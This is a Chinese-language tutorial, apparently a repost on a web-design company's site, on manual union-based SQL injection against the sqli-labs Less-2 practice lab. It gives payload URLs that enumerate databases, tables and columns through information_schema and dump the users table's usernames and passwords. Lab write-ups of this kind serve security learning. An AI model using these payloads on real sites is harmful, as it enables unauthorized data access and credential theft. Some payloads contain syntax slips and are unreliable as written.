這篇文章將為大家詳細講解有關(guān)sql注入之手工注入的示例分析,小編覺得挺實用的,因此分享給大家做個參考,希望大家閱讀完這篇文章后可以有所收獲。
創(chuàng)新互聯(lián)公司服務(wù)項目包括蓬萊網(wǎng)站建設(shè)、蓬萊網(wǎng)站制作、蓬萊網(wǎng)頁制作以及蓬萊網(wǎng)絡(luò)營銷策劃等。多年來,我們專注于互聯(lián)網(wǎng)行業(yè),利用自身積累的技術(shù)優(yōu)勢、行業(yè)經(jīng)驗、深度合作伙伴關(guān)系等,向廣大中小型企業(yè)、政府機構(gòu)等提供互聯(lián)網(wǎng)行業(yè)的解決方案,蓬萊網(wǎng)站推廣取得了明顯的社會效益與經(jīng)濟效益。目前,我們服務(wù)的客戶以成都為中心已經(jīng)輻射到蓬萊省份的部分城市,未來相信會繼續(xù)擴大服務(wù)區(qū)域并繼續(xù)獲得客戶的支持與信任!
為了方便說明,我們還是用之前的數(shù)字型的注入點為例來進行說明。
得到字段總數(shù)
在前面的介紹中,我們已經(jīng)知道在http://localhost/sqlilabs/Less-2/?id=1id
是一個注入點。
后臺的SQL語句的寫法大致為
select username,password,[....] from table where id=userinput
那么我們通過使用order by
的語句來判斷select
所查詢字段的數(shù)目。
那么payload變?yōu)椋?/p>
http://localhost/sqlilabs/Less-2/?id=1 order by 1/2/3/4....
當(dāng)使用order by 4
時程序出錯,那么select
的字段一共是3個。
得到顯示位
在頁面上會顯示從select
中選取的字段,我們接下來就是要判斷顯示的字段是哪幾個字段。
使用如下的payload(兩者均可)進行判斷。
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,2,3 http://localhost/sqlilabs/Less-2/?id=1 and 1=2 union select 1,2,3
當(dāng)使用個如上的payload時,頁面的顯示如下:
通過如上的頁面顯示就可以知道,頁面中顯示的是第2位和第3位的信息。
查選庫
在知道了顯示位之后,那么接下來就可以通過顯示位來顯示我們想知道的信息,如數(shù)據(jù)庫的版本,用戶信息等等。那么我們使用如下的payload就可以知道相關(guān)的信息。
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,version(),database()
此時頁面的顯示為:
可以看到在頁面上就出現(xiàn)了數(shù)據(jù)庫的版本信息和當(dāng)前使用的數(shù)據(jù)庫信息。
那么接下來我們通過這種方式知道數(shù)據(jù)庫中所有的數(shù)據(jù)庫的名稱。
payload如下:
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,2,SCHEMA_NAME, from information_schema.SCHEMATA limit 0,1 #得到第一個庫名 http://localhost/sqlilabs/Less-2/?id=-1 union select 1,2,SCHEMA_NAME, from information_schema.SCHEMATA limit 1,1 #得到第二個庫名 ...
查選表名
由于database()
返回的就是當(dāng)前web程序所使用的數(shù)據(jù)庫名,那么我們就利用database()
來查詢所有的表信息。當(dāng)然在上一步中。我們也已經(jīng)知道當(dāng)前的database
就是security
。
那么我們構(gòu)造的payload如下:
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
這樣我們就得到當(dāng)前數(shù)據(jù)庫下所有的表名了。頁面返回的結(jié)果是:
所以我們知道在當(dāng)前的數(shù)據(jù)庫中存在4張表,分別是emails,referers,uagents,users
。
查選列名
在知道了表名之后,接下來我們利用information_schema.columns
就可以根據(jù)表名來獲取當(dāng)前表中所有的字段。
payload如下:
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273(users的十六進制)
頁面的顯示結(jié)果如下:
通過這個語句,我們就知道在users表中存在USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,id,name,password
這些字段。但是我本地測試的測試的時候,這個存在一個問題,實際上在security數(shù)據(jù)庫的users的表中,只有id,username,password
這3個字段,其他的字段都是其他數(shù)據(jù)庫的中users表的字段名。
通過上面的payload,我們也同樣可以知道在emails,referers,uagents
中的字段名稱。
但是有的時候后臺的代碼可能僅用了使用where
子句,那么這個時候就無法通過information_schema.coumns
來得到列名了,這個時候只能夠根據(jù)你自己多年的黑客經(jīng)驗來進行猜解了。猜解的方法也是比較的簡單,使用exists
子句就可以進行猜解了。假設(shè)在我們已經(jīng)知道了表名的情況下(當(dāng)然猜解表名也使用通過exists子句來完成)。
猜解的語句如下:
http://localhost/sqlilabs/Less-2/?id=1 and exists(select uname from users)
主要的語句就是exists(select 需要猜解的列名 from users)
這種句式。如果在users表中不存在uname
列名,則頁面不會顯示內(nèi)容或者是直接出現(xiàn)sql的錯誤語句。
如下如所示:
下面這個就是猜解到了users表中存在的字段。
http://localhost/sqlilabs/Less-2/?id=1 and exists(select username from users)
猜測在users表中存在username
列,上面的語句程序可以正常第返回結(jié)果,那么壽命在users表中確實存在username
列名。
脫褲
在知道了當(dāng)前數(shù)據(jù)庫所有的表名和字段名之后,接下來我們就可以dump數(shù)據(jù)庫中所有的信息了。比如我們下載當(dāng)前users表中所有的數(shù)據(jù)。
可以使用如下的payload:
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(username,password),3 from users
就可以得到users表中所有的username
和password
的數(shù)據(jù)了,通過這種方式也能夠得到其他表中的數(shù)據(jù)了。
關(guān)于“sql注入之手工注入的示例分析”這篇文章就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,使各位可以學(xué)到更多知識,如果覺得文章不錯,請把它分享出去讓更多的人看到。
網(wǎng)頁標(biāo)題:sql注入之手工注入的示例分析
網(wǎng)頁地址:http://jinyejixie.com/article0/jjpsio.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供品牌網(wǎng)站建設(shè)、營銷型網(wǎng)站建設(shè)、軟件開發(fā)、移動網(wǎng)站建設(shè)、靜態(tài)網(wǎng)站、網(wǎng)站改版
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)